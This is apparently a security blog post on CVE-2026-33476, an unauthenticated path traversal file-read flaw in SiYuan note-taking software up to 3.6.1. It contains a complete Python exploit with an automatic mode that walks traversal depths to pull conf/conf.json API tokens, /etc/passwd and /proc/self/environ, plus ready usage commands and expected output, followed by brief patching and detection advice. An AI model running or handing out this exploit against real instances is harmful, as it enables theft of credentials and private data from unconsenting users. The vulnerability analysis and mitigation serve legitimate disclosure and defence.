SiYuan ≤ 3.6.1 Unauthenticated Arbitrary File Read via Path Traversal (CVE-2026-33476)
This post contains technical details about security vulnerabilities and exploit development for educational and research purposes only. All techniques described are intended for use in authorized penetration testing, CTF competitions, or controlled lab environments.
Unauthorized use of these techniques against systems you do not own or have explicit written permission to test is illegal and unethical. Always obtain proper authorization before testing.
Disclosure status: Full Disclosure
CVE references link to public NVD / vendor advisories. Proof-of-concept code, where included, is provided after patch availability for defensive research purposes.
Content
🔥 Introduction
Modern note-taking and knowledge management systems like SiYuan are increasingly deployed in both personal and enterprise environments. While these tools offer powerful features, they also expose web interfaces that can become high-value attack surfaces if not properly secured.
In this research, we analyze CVE-2026-33476, a critical vulnerability affecting SiYuan versions ≤ 3.6.1. The flaw allows unauthenticated attackers to perform arbitrary file reads via a classic path traversal attack, potentially exposing sensitive system files, configuration data, and authentication secrets.
🧠 Technical Overview
- Vulnerability Type: Path Traversal / Arbitrary File Read
- CVE ID: CVE-2026-33476
- Affected Software: SiYuan ≤ 3.6.1
- Fixed Version: 3.6.2
- Attack Vector: Remote (Unauthenticated HTTP request)
- CWE: CWE-22 (Path Traversal), CWE-73
The vulnerability resides in the /appearance/* endpoint, which fails to properly sanitize user-supplied paths.
⚙️ Root Cause Analysis
The issue arises due to insufficient validation of file paths provided by the user.
Instead of restricting access to a specific directory, the application directly appends user input to the base path:
/appearance/<user-controlled-path>
Because no proper normalization or sanitization is applied, attackers can inject directory traversal sequences such as:
../../../../etc/passwd
This allows escaping the intended directory and accessing arbitrary files on the system.
🚨 Impact
This vulnerability has serious security implications:
-
Sensitive Data Exposure
-
Configuration files (
conf/conf.json) - API tokens and authentication secrets
-
System Information Disclosure
-
/etc/passwd - Environment variables (
/proc/self/environ) -
Cross-platform impact
-
Linux, Windows, macOS all affected
Notably:
- No authentication is required
- Exploitation is trivial
- Can be automated easily
🧭 Attack Flow
The exploitation process is simple but highly effective. Below is the full attack chain:
1. Reconnaissance
The attacker identifies a publicly accessible SiYuan instance:
http://target:6806
2. Endpoint Discovery
The attacker finds the vulnerable endpoint:
/appearance/
3. Crafting the Payload
The attacker constructs a path traversal payload:
../../../../etc/passwd
Or for higher-value targets:
../../../../conf/conf.json
4. Exploit Request
The attacker sends a crafted HTTP request:
GET /appearance/../../../../etc/passwd
5. Directory Traversal Execution
- The server processes the request without validation
- Path traversal escapes the intended directory
- The system file is accessed
6. Data Exfiltration
The server responds with the file contents:
- User account data
- API tokens
- System configuration
7. Post-Exploitation Opportunities
With extracted data, the attacker may:
- Hijack sessions
- Access APIs using leaked tokens
- Move laterally within the system
🧪 Proof of Concept (PoC)
PoC code
#!/usr/bin/env python3
# Exploit Title: SiYuan <= v3.6.1 Note unauthenticated arbitrary file read (path traversal)
# CVE: CVE-2026-33476
# Date: 2026-03-21
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://b3log.org/siyuan
# Software Link: https://github.com/siyuan-note/siyuan
# Affected: SiYuan <= v3.6.1
# Tested on: SiYuan v3.6.1 (docker / linux)
# Category: Webapps
# Platform: Linux / Windows / macOS
# Exploit Type: Remote File Disclosure
# CVSS: 7.5
# CWE: CWE-22, CWE-73
# Description: Unauthenticated path traversal in /appearance/* endpoint allows reading arbitrary files
# Fixed in: v3.6.2
# Usage:
# python3 exploit.py <target_url> --target-file <path>
# python3 exploit.py http://127.0.0.1:6806 --auto
#
# Examples:
# python3 exploit.py http://target:6806 --target-file conf/conf.json
# python3 exploit.py http://target:6806 -f ../../../../etc/passwd --depth 10
#
# Options:
# --target-file Specific file path to attempt to read
# --depth Traversal depth (default: 6)
# --auto Try multiple common sensitive paths automatically
# --timeout Request timeout in seconds (default: 12)
#
# Notes:
# Most useful target: conf/conf.json (contains API token, access auth code, etc.)
# Use --auto mode for broad testing of interesting files
#
# How to Use
# Step 1: Run the script against a vulnerable SiYuan instance
# Step 2: Use --target-file conf/conf.json to extract credentials/config
# Step 3: For system file access try deeper traversal (--depth 8–12)
print(r"""
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ▄▄▄▄· ▄▄▄ . ▄▄ • ▄▄▄▄▄ ▄▄▄ ▄▄▄· ▄▄▄· ▄▄▄▄▄▄▄▄▄ .▄▄▄ ▄• ▄▌ ║
║ ▐█ ▀█▪▀▄.▀·▐█ ▀ ▪•██ ▪ ▀▄ █·▐█ ▀█ ▐█ ▄█•██ ▀▀▄.▀·▀▄ █·█▪██▌ ║
║ ▐█▀▀█▄▐▀▀▪▄▄█ ▀█ ▐█.▪ ▄█▀▄ ▐▀▀▄ ▄█▀▀█ ██▀· ▐█.▪▐▀▀▪▄▐▀▀▄ █▌▐█· ║
║ ██▄▪▐█▐█▄▄▌▐█▄▪▐█ ▐█▌·▐█▌.▐▌▐█•█▌▐█ ▪▐▌▐█▪·• ▐█▌·▐█▄▄▌▐█•█▌▐█▄█▌ ║
║ ·▀▀▀▀ ▀▀▀ ·▀▀▀▀ ▀▀▀ ▀█▄▀▪.▀ ▀ ▀ ▀ .▀ ▀▀▀ ▀▀▀ .▀ ▀ ▀▀▀ ║
║ ║
║ b a n y a m e r _ s e c u r i t y ║
║ ║
║ >>> Silent Hunter • Shadow Presence <<< ║
║ ║
║ Operator : Mohammed Idrees Banyamer Jordan 🇯🇴 ║
║ Handle : @banyamer_security ║
║ ║
║ CVE-2026-33476 • SiYuan arbitrary file read ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
""")
import argparse
import urllib.parse
import requests
import sys
def build_traversal_url(base_url, target_file, levels=5):
traversal = "../" * levels
target_file = target_file.lstrip("/.").replace("\\", "/")
path = f"{traversal}{target_file}"
return urllib.parse.urljoin(base_url.rstrip("/") + "/", f"appearance/{path}")
def try_read_file(session, url, timeout=10):
try:
r = session.get(url, timeout=timeout, allow_redirects=False)
if r.status_code == 200 and len(r.content) > 0:
try:
return r.text[:4096]
except UnicodeDecodeError:
return f"[Binary content - {len(r.content)} bytes]"
elif r.status_code in (401, 403):
return None
else:
return f"[Status {r.status_code}] {r.reason}"
except requests.RequestException as e:
return f"[Error] {str(e)}"
def auto_exploit(base_url, max_levels=10):
common_targets = [
"conf/conf.json",
"data/conf.json",
"workspace/conf.json",
"data/emojis/README.md",
".siyuan/history.db",
"appearance/themes/README.md",
"etc/passwd",
"proc/self/environ",
"Windows/win.ini",
"Users/Public/Desktop/test.txt",
]
print("[*] Starting automatic traversal test...\n")
s = requests.Session()
s.headers["User-Agent"] = "Mozilla/5.0 (compatible; SiYuan-PoC/1.0)"
for target in common_targets:
print(f"→ Target: {target}")
found = False
for depth in range(3, max_levels + 1):
exploit_url = build_traversal_url(base_url, target, depth)
result = try_read_file(s, exploit_url)
if result is None:
continue
if "[Error]" not in result and "Status" not in result:
print(f" SUCCESS at depth {depth}:")
print(f" URL: {exploit_url}")
print(f" Content preview:\n{result.rstrip()}\n")
found = True
break
if not found:
print(" Not found in tested depths.\n")
def main():
parser = argparse.ArgumentParser(description="CVE-2026-33476 SiYuan path traversal PoC")
parser.add_argument("url", help="Base URL of SiYuan instance")
parser.add_argument("--target-file", "-f", help="Specific file to read")
parser.add_argument("--depth", "-d", type=int, default=6, help="Traversal depth")
parser.add_argument("--auto", action="store_true", help="Try common files automatically")
parser.add_argument("--timeout", type=int, default=12, help="Request timeout")
args = parser.parse_args()
base = args.url.rstrip("/")
if not base.startswith(("http://", "https://")):
print("[!] URL must start with http:// or https://")
sys.exit(1)
print(f"[*] Targeting SiYuan instance: {base}")
print("[*] CVE-2026-33476 - Unauthenticated Arbitrary File Read PoC\n")
s = requests.Session()
s.headers.update({"User-Agent": "Mozilla/5.0 SiYuan-Test/1.0"})
if args.auto:
auto_exploit(base, args.depth)
elif args.target_file:
url = build_traversal_url(base, args.target_file, args.depth)
print(f"[*] Attempting to read: {args.target_file}")
print(f" URL: {url}\n")
content = try_read_file(s, url, args.timeout)
if content:
print("Result:\n" + "-"*60)
print(content)
if len(content) > 4000:
print("\n... [truncated - full content retrieved]")
else:
print("[×] Failed - no content or blocked (possibly patched?)")
else:
parser.print_help()
print("\n[!] Please provide --target-file or use --auto mode.")
sys.exit(1)
if __name__ == "__main__":
main()
The provided exploit automates file retrieval:
python3 exploit.py http://target:6806 --target-file conf/conf.json
Or automatic scanning:
python3 exploit.py http://target:6806 --auto
Example vulnerable request:
http://target:6806/appearance/../../../../etc/passwd
Expected output:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
🔍 Real-World Attack Scenario
Consider a deployment where:
- SiYuan is exposed on a public server
- Default configurations are used
- No authentication gateway is enforced
An attacker could:
- Scan for open SiYuan instances
- Extract
conf/conf.json - Retrieve API tokens or authentication secrets
- Gain unauthorized access to user data
This makes the vulnerability particularly dangerous in cloud-hosted or collaborative environments.
🛡️ Mitigation & Recommendations
✅ Immediate Fix
- Upgrade to SiYuan ≥ 3.6.2
🔐 Secure Coding Practices
- Normalize file paths before use
- Reject
../sequences explicitly - Enforce strict directory boundaries
🧪 Defensive Measures
- Deploy a Web Application Firewall (WAF)
- Restrict external access to internal services
- Monitor logs for traversal attempts
🔍 Detection Indicators
Look for suspicious requests such as:
../
..\\
/etc/passwd
conf/conf.json
📌 Conclusion
CVE-2026-33476 is a classic yet highly impactful vulnerability that demonstrates how improper input validation can completely break application security.
Despite being a well-known issue class, path traversal continues to appear in modern applications, especially those handling file-based operations.
This vulnerability highlights the importance of:
- Secure file handling
- Input validation
- Defense-in-depth strategies
Organizations using SiYuan should prioritize patching immediately and ensure their deployments are not exposed to untrusted networks.
Disclosure: Full Disclosure
Comments
No comments yet. Be the first.
Leave a Comment